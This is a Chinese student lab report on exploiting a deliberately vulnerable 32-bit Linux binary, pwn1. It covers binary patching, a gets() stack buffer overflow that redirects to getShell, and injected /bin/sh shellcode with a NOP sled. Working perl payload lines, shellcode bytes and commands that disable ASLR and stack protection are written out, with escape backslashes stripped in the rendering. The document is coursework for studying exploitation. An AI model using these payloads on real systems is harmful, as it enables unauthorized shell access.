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  • 2018-2019-2 20165231王杨鸿永《网络对抗》Exp1 PC平台逆向破解

    实践目标

    本次实践的对象是一个名为pwn1的linux可执行文件。
    该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
    该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

    基础知识

    linux基本操作

    • 管道(|):管道是Linux由Unix那里继承过来的进程间的通信机制,它是Unix早期的一个重要通信机制。其思想是,在内存中创建一个共享文件,从而使通信双方利用这个共享文件来传递信息。由于这种方式具有单向传递数据的特点,所以这个作为传递消息的共享文件就叫做“管道”。
      管道的局限性:
      ① 数据自己读不能自己写。
      ② 数据一旦被读走,便不在管道中存在,不可反复读取。
      ③ 由于管道采用半双工通信方式。因此,数据只能在一个方向上流动。
      ④ 只能在有公共祖先的进程间使用管道。

    • 输入:linux标准输入设备指的是键盘,标准输出设备指的是显示器,标准错误输出指的是显示器。

    • 输出重定向(>):输出重定向就是指不使用linux默认的标准输出设备显示信息,而是指定某个文件做为标准输出设备来存储文件信息。

    Bof原理

    Linux下进程地址空间的布局

    典型的堆栈结构

    栈中有return address还有局部变量,也就是函数的参数,bof攻击是利用上参数的溢出将返回地址return address用自己构造的数据覆盖掉,从而控制程序的进程。接下来就试着通过bof攻击来实现调用getshell函数。

    NOP、JNE、JE、JMP、CMP汇编指令的机器码

    • NOP:NOP指令即“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。(机器码:90)
    • JNE:条件转移指令,如果不相等则跳转。(机器码:75)
    • JE:条件转移指令,如果相等则跳转。(机器码:74)
    • JMP:无条件转移指令。段内直接短转Jmp
    • short(机器码:EB) 段内直接近转移Jmp
    • near(机器码:E9) 段内间接转移 Jmp
    • word(机器码:FF) 段间直接(远)转移Jmp
    • far(机器码:EA)
    • CMP:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。

    gdb的常用命令


    实验内容

    直接修改程序机器指令,改变程序执行流程

    下载目标文件pwn1到实验虚拟机,反汇编objdump -d pwn1 |more。下面只保留了最核心的几行代码。

    指令将调用位于地址8048491处的foo函数
    其对应机器指令为“e8 d7ffffff”,e8即跳转。
    此时此刻EIP的值应该是下条指令的地址,即80484ba,但出现e8这条指令,CPU就会转而执行 “EIP + d7ffffff”这个位置的指令。“d7ffffff”是补码,表示-41,41=0x29,80484ba +d7ffffff= 80484ba-0x29正好是8048491这个值,调用getShell,只要修改“d7ffffff”为,"getShell-80484ba"对应的补码就行。直接 804847d-80484ba就能得到补码,是c3ffffff。

    所以编辑pwn1文件 vim pwn1将其中的call指令的目标地址由d7ffffff变为c3ffffff

    以下操作是在vi内

    1. 按ESC键
    2. 输入如下,将显示模式切换为16进制模式
      :%!xxd
    3. 查找要修改的内容
      /e8d7
    4. 找到后前后的内容和反汇编的对比下,确认是地方是正确的
    5. 修改d7为c3
    6. 转换16进制为原格式
      :%!xxd -r
    7. 存盘退出vi
      :wq

    enter description here
    enter description here

    然后./pwn1运行
    enter description here

    通过构造输入参数,造成BOF攻击,改变程序执行流

    我们重新命名一个原pwn文件pwn1_2

    反汇编,了解漏洞以及程序的基本功能

    该可执行文件正常运行是调用函数foo,这个函数有Buffer overflow漏洞,即foo函数中的gets函数,由于该函数不会检查用户输入的长度,通过“栈溢出”覆盖栈中保存的RET地址,可以改变程序的执行流。
    函数foo中的mov(804849a)读入字符串,但系统只预留了32字节的缓冲区,超出部分会造成溢出,我们的目标是覆盖返回地址
    函数main中的call调用函数foo,同时在堆栈上压上返回地址值:80484ae

    确认覆盖到返回地址的字符

    如果输入字符串1111111122222222333333334444444412345678,那 1234 那四个数最终会覆盖到堆栈上的返回地址,进而CPU会尝试运行这个位置的代码。那只要把这四个字符替换为getShell的内存地址,输入给pwn1,pwn1就会运行getShell
    enter description here

    确认用什么值来覆盖返回地址

    getShell的内存地址,通过反汇编时可以看到,即0804847d
    接下来要确认下字节序,因为PC属于小端所以输入11111111222222223333333344444444x7dx84x04x08

    构造输入字符串

    由于没法通过键盘输入x7dx84x04x08这样的16进制值,所以需要使用prel方法先生成包括这样字符串的一个文件,将getshell的内存地址写入输入字符串中,x0a表示回车,如果没有的话,在程序运行时就需要手工按一下回车键。
    perl -e 'print "11111111222222223333333344444444x7dx84x04x08x0a"' > input


    将input的输入,通过管道符“|”,作为pwn1的输入
    (cat input; cat) | ./pwn1_2


    注入Shellcode并执行

    • 准备一段Shellcode
    • shellcode就是一段机器指令(code)
      通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),
      所以这段机器指令被称为shellcode。
      在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。
      如:x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80
      准备工作:
    • 关闭堆栈保护(gcc -fno-stack-protector)
    • 关闭堆栈执行保护(execstack -s)
    • 关闭地址随机化 (/proc/sys/kernel/randomize_va_space=0)
    • 在x32环境下
    • 在Linux实践环境

    apt-get install execstack //安装execstack命令
    execstack -s pwn1_3 //设置堆栈可执行
    execstack -q pwn1_3 //查询文件的堆栈是否可执行
    more /proc/sys/kernel/randomize_va_space //查询是否关闭地址随机化
    echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
    more /proc/sys/kernel/randomize_va_space //查询是否关闭地址随机化

    构造要注入的payload

    Linux下有两种基本构造攻击buf的方法:

    • retaddr+nop+shellcode
    • nop+shellcode+retaddr。
      因为retaddr在缓冲区的位置是固定的,shellcode要不在它前面,要不在它后面。
      简单说缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边

    我们这个buf够放这个shellcode了
    结构为:nops+shellcode+retaddr
    nop一为是了填充,二是作为“着陆区/滑行区”。
    我们猜的返回地址只要落在任何一个nop上,自然会滑到我们的shellcode。

    使用命令注入,其中前面32个A用来填满缓冲区buf,x04x03x02x01为预留的返回地址retaddr:
    perl -e 'print "A" x 32;print "x04x03x02x01x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode
    打开一个终端注入这段攻击buf:
    (cat input_shellcode;cat) | ./pwn1_3

    开启另一终端调试进程
    ps -ef | grep pwn1_3命令找到pwn1_3的进程号是:3937

    用gdb pwn1_3、attach命令启动gdb调试这个进程:

    disassemble foo命令反汇编,通过设置断点,来查看注入buf的内存地址:

    通过break *0x080484ae命令设置断点,输入countine 继续运行
    在另外一个终端中按下回车使上一调试过程继续执行。再返回调试终端,使用info r esp命令查找地址:

    x/16x 0xffffd64c命令查看其存放内容,看到了0x01020304,就是返回地址的位置。根据我们构造的input_shellcode可知,shellcode就在其后,所以地址应为0xffffd650


    接下来只需要将之前的x4x3x2x1改为这个地址即可,用命令
    perl -e 'print "A" x 32;print "x50xd6xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode


    实验中遇到的问题及解决过程

    1、提示段错误

    • 替换x4x3x2x1时一定记住小端从后往前,每两位为一组

    2、echo "0" > /proc/sys/kernel/randomize_va_space//关闭地址随机化提示权限不够。

    • 这时就不要使用自己账号了直接sudo suroot管理员还怕权限不够。

    实验感想

    复习了linux虚拟机的操作和gdb调试,Kali和Ubuntu感觉最大的不同就是Ubuntu系统预设了Ctrl+Alt+T的快捷打开终端而Kali没有,导致实验需要打开另一个终端时按了很久以为电脑卡了(同配置下Kali也的确比Ubuntu要卡),后来搜了一下教程在快捷键里添加了命令。
    实验上觉得汇编代码真的很神奇,可是我汇编学得不好,但是在操作教程的指点下还是完成了,希望以后的实验可以钻研出一点有趣的玩法。

    什么是漏洞?漏洞有什么危害?

    漏洞就是现代电子设备在硬件、软件、协议上的一些能够引发一系列安全问题,威胁用户操作的缺陷。比如这次实验的漏洞是缓冲区溢出,因为没有考虑到超出栈的空间分配的问题导致被利用,使软件的功能被改变。攻击者可以对文件进行任意的操作,也可能会执行相关的恶意代码,为木马植入、后门设置提供条件。

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